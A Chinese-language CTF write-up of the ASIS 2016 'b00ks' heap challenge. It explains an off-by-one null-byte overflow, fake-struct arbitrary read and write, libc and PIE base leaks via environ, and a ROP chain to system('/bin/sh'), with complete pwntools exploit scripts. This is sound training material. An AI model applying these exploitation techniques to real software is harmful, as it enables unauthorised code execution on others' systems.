参考博客:asis-ctf-2016 pwn 之 b00ks | cq674350529’s blog
题目下载链接也在参考博客里;
本题使用到的glibc版本为2.43;
分析 拿到题先checksec和ida查看:
可以从分图4中得到开启了RELRO,NX,PIE;
分图1是这个题目的main函数,是一个菜单题,做菜单题先看delete部分,但会发现这道题的delete是正常的释放,而且把指针置为了0,不存在UAF漏洞;
进一步查看可以发现在entername函数(分图2)中,使用了offbynull函数作为作者名称的输入,进入offbynull函数(分图3)查看, 可以发现这个写名称的过程有offbyone的漏洞,即当名称长度为32时,第33字节会被覆盖为0x00字节;
进一步分析aname全局变量会覆盖到的后位是什么,并分析new和delete操控的数据结构:
从分图1能看到作者姓名后面的变量则是new和delete操控的Array变量存放的地方;
根据分析各个功能函数,能够构造出分图2中的数据结构,这正是Array数组每个成员的数据结构类型,分图3是new函数,虽然new中在写description时使用了offbynull函数,但使用的写入大小是size-1,所以00字节不能溢出覆盖,这里不存在offbynull漏洞利用;
这道题并没有自带system函数和binsh字符串,这说明我们需要分析libc;
如何确定libc版本呢?很简单,调试起来以后,去看文件的got表项,多找几个从libc导出函数的地址,拿最低位去找libc版本的网站上比对即可,这里我使用的是2.43版本,也就是我虚拟机上的版本;
分析到此为止,接下来可以想一想利用思路了,其他功能函数的分析就不展开说了,有兴趣的可以下载题目自己看看;
思路 利用offbyone漏洞能做些什么呢?
第一:可以在第一次写入名称时,写满32字节,00字节覆盖到array处,这样在new一个array[0]时,00字节被覆盖,我们使用show函数时可以泄露出array[0]的地址,也就是堆上的地址;
第二:在new了以后进行改名覆盖,可以把array[0]处的堆地址的最低位覆盖为00字节;
那么我们再结合地址重合 的思路进行思考,既然在uaf中,我们会把堆内存空间伪造为结构体或是堆块的结构,使用已释放的指针利用这个结构体来进行漏洞利用,这里行不行呢?
第二条就决定了我们其实可以这么做:我们把一个块中写入的内容伪造为book结构体,这个块的特点是其地址最低位是00字节,那么此时当我执行第二条利用方法时,array[0]处的内容就变成了我们伪造的book结构,进而利用伪造的book。通过这个方法,使用show可以任意地址读,使用edit可以任意地址写;
有了任意地址写这个功能,就可以考虑hook函数来执行system;
所以做堆题一开始没思路的时候,可以先往地址重合 去思考,往实现读写功能去思考;
先给出定义的exp脚本函数,以方便后续编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 p = process('./b00ks' ) def create (bs, bn, ds, d ): p.sendlineafter(b'> ' , b'1' ) p.sendlineafter(b'Enter book name size: ' , bs) p.sendlineafter(b'Enter book name (Max 32 chars): ' , bn) p.sendlineafter(b'Enter book description size: ' , ds) p.sendlineafter(b'Enter book description: ' , d) def edit (ids, d ): p.sendlineafter(b'> ' , b'3' ) p.sendlineafter(b'Enter the book id you want to edit: ' , ids) p.sendlineafter(b'Enter new book description: ' , d) def show (): p.sendlineafter(b'> ' , b'4' ) def delete (ids ): p.sendlineafter(b'> ' , b'2' ) p.sendlineafter(b'Enter the book id you want to delete: ' , ids) def changename (n ): p.sendlineafter(b'> ' , b'5' ) p.sendlineafter(b'Enter author name: ' , n) name = b'a' * 32 p.sendlineafter(b'Enter author name: ' , name)
实现任意地址读写 通过思考,我们的首要目标就是构造fake_book到array[0]的位置;
这个fake_book块我们选谁呢,当然是description。原因是虽然bookname和description的长度大小都由我们指定,但只有description的内容可以通过edit更改,权力更大;
同时还要思考一个问题,让fake_book地址坐落于低位为00字节,比如我们正常分配堆,给到的堆块地址都是从小到大,举个例子:
根据这道题的new逻辑,一次new得到三个堆块,如果我name和description的大小都是0x10,那么给到我的三个堆地址分别如下:
malloc返回地址
表示内容
总大小
分配大小
0x5010
bookname
0x20
0x10
0x5030
description
0x20
0x10
0x5050
book_struct
0x30
0x20
当我们使用offbyone覆盖最低位,会使得地址变成0x5000,我们是没办法分配fake_book于0x5010之前的;
所以我们肯定选择的是下一个低位00的位置,也就是让fake_book置于0x5100;
那么此时在array[0]位置的地址就不应该是 0x50xx 的地址,而是 0x51xx 的地址;
所以我们就有先new,再delete,再new的思路,让后面的块放到array[0]的位置;
同时注意,book_struct分配的逻辑是固定0x20大小;
有exp代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) show() res = p.recvuntil(b'\n\n1. Create a book' ) res = res[-(18 + 6 ):-18 ] book1 = int .from_bytes(res, byteorder='little' , signed=False ) heap = book1 - 0x1060 print ('heap: ' + hex (heap))fake_book = p64(11 ) + p64(book1+0x30 ) + p64(book1+8 ) + p64(0x30 ) create(b'96' ,b'secondbc' ,b'48' ,fake_book) create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) delete(b'1' ) delete(b'3' ) create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) changename(name)
第一次new完再show拿到book1_struct的地址,也即是array[0]此时存放的堆地址,并通过调试可以得到与heap相对应的偏移,从而得到heap基址;
第二步,构造fake_book结构,从之前的分析来构造对应的结构体,值得说明的是,p64(book1+8),也就是第三个值,是description,这个指针,我们让它指向(book1+8)后续揭晓它的用处。并通过create(b'96',b'secondbc',b'48',fake_book) ,操控bookename的大小让book2的description坐落于0x5100这样的地址;
第三步,new一个book3,此时它的book3_struct地址肯定就是0x51xx的样式了,而非0x50xx。然后我们delete book1,再delete book3,由于book1和book3的bookname和description大小我们设置都是0x10,与book_struct的0x20大小不同,所以链接到tcache不同的位置,只有book1_struct和book3_struct相链接,不受其他堆块影响。此时tcache的链如下所示:
1 tcache 0x20 : book3_struct -> book1_struct -> 0
同时记得tcache和fastbin类似,都是单链表,是头插法的链栈;
再次new,会返回book3_struct的地址作为book4的book4_struct放回array[0]的位置(因为delete会清空array[0],之后new的会重新按顺序填入,但bookid为4了),此时array[0]的位置就被顺利写入了0x51xx的样式的地址;
最后再changename,实现array[0]处的地址变成book2的description地址,我们操控array[0]时,即操控我们自定义的fake_book,这样一来就实现了任意地址读写,即edit可以改伪造的description,show可以揭示伪造的description;
泄露libc基址和主程序基址 实现这个强大的功能后就可以考虑获取两个基址了,因为程序开了PIE;
如何做呢?新知识点 :通过分配大堆块,linux会使用mmap进行分配,mmap分配的地址不属于heap段,而在ida调试显示的debug001段,而debug002段处是存放了libc里面的地址的,debug001和debug002是连着的,拥有固定偏移量;
所以有如下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 create(b'196608' ,b'bbbb' ,b'16' ,b'bbbb' ) show() leakaddr = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] leakaddr = int .from_bytes(leakaddr, byteorder='little' , signed=False ) debug001 = leakaddr - 0x10 debug002 = debug001 + 0x46000 aim = 0x1b8 + debug002 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(aim) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] aim = int .from_bytes(aim, byteorder='little' , signed=False ) baselibc = aim - 0x211940
先new一个bookname非常大的book5,此时book5的book_struct地址其实是tcache返回的book1_struct;
而之前我们设置的book1+8,此时正是book5的bookname指针,指向的则是debug001段上的地址;
通过show就能打印出id为11的book(我们伪造的fake_book)的description,此时正是debug001段上的地址;
通过调试,得到偏移,计算出存放libc地址的地址,然后edit book2的description就能更改fake_book的description;
再次show即可泄露libc内的地址,通过调试计算偏移拿到真实的baselibc,即libc基址;
同时linux的主程序的基地址是会存放在内存里的,很变态,直接在调试时搜索对应基地址,可以发现主程序基地址其实就存放在debug002:
分图1是主程序基址,分图2是搜索,分图3位于debug002段;
所以获取主程序基址exp如下:
1 2 3 4 5 6 7 aim = debug001 + 0x321E0 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(aim+2 ) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +4 ):-9 ] aim = int .from_bytes(aim, byteorder='little' , signed=False ) base = aim << 16
调试计算出偏移后用任意地址读就行了,不过读的是字符串,所以读不到00字节,要舍弃掉最后两位来读(aim+2),最后左移16位补上就行了;
getshell 现在什么都有了,如何触发system(binsh)呢?
一般是hook free函数或者malloc函数,然后调用new或者delete来执行;
但这道题在glibc为2.43的环境下貌似不太行?
首先程序开启了relro,无法直接写got表(无权限),这就不能iat hook;
同时glibc2.43没有__free_hook,或是__malloc_hook全局变量,用不了;
但我们有强大的任意地址写,什么都挡不住我们;
新知识点:libc有一个environ符号,这个里面存放了主程序栈上的地址:
分图1找出environ符号的偏移;分图2是libc基址;分图3是调试中偏移处存放内容;分图4是存放内容代表的地址;
有了栈上的地址,我们就可以ROP启动了,因为relro不会保护栈,栈是可以随便写的,使用ROPgadget找libc可用的gadget,最终找到一条:
1 0x00000000001375ae : xor ebp, ebp ; pop rax ; pop rdi ; call rax
非常完美,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 system = baselibc + 0x5C560 binsh = baselibc + 0x1DB799 environ = baselibc + 0x219de8 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(environ) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] environinstack = int .from_bytes(aim, byteorder='little' , signed=False ) mainret = environinstack - 0x140 print ('mainretn: ' + hex (mainret))fake_book = p64(11 ) + p64(book1+0x30 ) + p64(mainret) + p64(0x30 ) edit(b'2' , fake_book) poprax_poprdi_callrax = baselibc + 0x1375B0 ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh) edit(b'11' ,ROP) p.interactive()
首先计算出system和binsh的地址,然后根据environ获取栈地址;
获取到以后,根据调试得到environ记录的栈地址与main函数返回处的栈地址的偏移,并计算得到main返回的栈地址;
在mainret地址写入ROP链;
最后进入互动模式并退出程序,即可getshell;
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *p = process('./b00ks' ) def create (bs, bn, ds, d ): p.sendlineafter(b'> ' , b'1' ) p.sendlineafter(b'Enter book name size: ' , bs) p.sendlineafter(b'Enter book name (Max 32 chars): ' , bn) p.sendlineafter(b'Enter book description size: ' , ds) p.sendlineafter(b'Enter book description: ' , d) def edit (ids, d ): p.sendlineafter(b'> ' , b'3' ) p.sendlineafter(b'Enter the book id you want to edit: ' , ids) p.sendlineafter(b'Enter new book description: ' , d) def show (): p.sendlineafter(b'> ' , b'4' ) def delete (ids ): p.sendlineafter(b'> ' , b'2' ) p.sendlineafter(b'Enter the book id you want to delete: ' , ids) def changename (n ): p.sendlineafter(b'> ' , b'5' ) p.sendlineafter(b'Enter author name: ' , n) name = b'a' * 32 p.sendlineafter(b'Enter author name: ' , name) create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) show() res = p.recvuntil(b'\n\n1. Create a book' ) res = res[-(18 + 6 ):-18 ] book1 = int .from_bytes(res, byteorder='little' , signed=False ) heap = book1 - 0x1060 print ('heap: ' + hex (heap))fake_book = p64(11 ) + p64(book1+0x30 ) + p64(book1+8 ) + p64(0x30 ) create(b'96' ,b'secondbc' ,b'48' ,fake_book) create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) delete(b'1' ) delete(b'3' ) create(b'16' ,b'bbbb' ,b'16' ,b'bbbb' ) changename(name) create(b'196608' ,b'bbbb' ,b'16' ,b'bbbb' ) show() leakaddr = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] leakaddr = int .from_bytes(leakaddr, byteorder='little' , signed=False ) debug001 = leakaddr - 0x10 debug002 = debug001 + 0x46000 aim = 0x1b8 + debug002 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(aim) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] aim = int .from_bytes(aim, byteorder='little' , signed=False ) baselibc = aim - 0x211940 aim = debug001 + 0x321E0 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(aim+2 ) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +4 ):-9 ] aim = int .from_bytes(aim, byteorder='little' , signed=False ) base = aim << 16 print ('base: ' + hex (base))print ('baselibc: ' + hex (baselibc))system = baselibc + 0x5C560 binsh = baselibc + 0x1DB799 environ = baselibc + 0x219de8 fake_book = p64(11 ) + p64(book1+0x30 ) + p64(environ) + p64(0x30 ) edit(b'2' , fake_book) show() aim = p.recvuntil(b'\nAuthor: ' )[-(9 +6 ):-9 ] environinstack = int .from_bytes(aim, byteorder='little' , signed=False ) mainret = environinstack - 0x140 print ('mainretn: ' + hex (mainret))fake_book = p64(11 ) + p64(book1+0x30 ) + p64(mainret) + p64(0x30 ) edit(b'2' , fake_book) poprax_poprdi_callrax = baselibc + 0x1375B0 ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh) edit(b'11' ,ROP) p.interactive()
总结 很难想到这样一个小小的1字节覆盖漏洞能够最终实现控制系统终端的功能;
这也说明了,理解offbyone和利用offbyone是两件事情;
所以需要多练习,多总结:
目前拿到堆题的思路是先看delete函数,先找漏洞点,然后把漏洞点能干的事情铺开;
之后往功能实现靠,比如思考去实现地址读写功能,再思考有无地址重合思想的运用;
最后才是思考如何触发system的调用,而不是一来就想这个问题;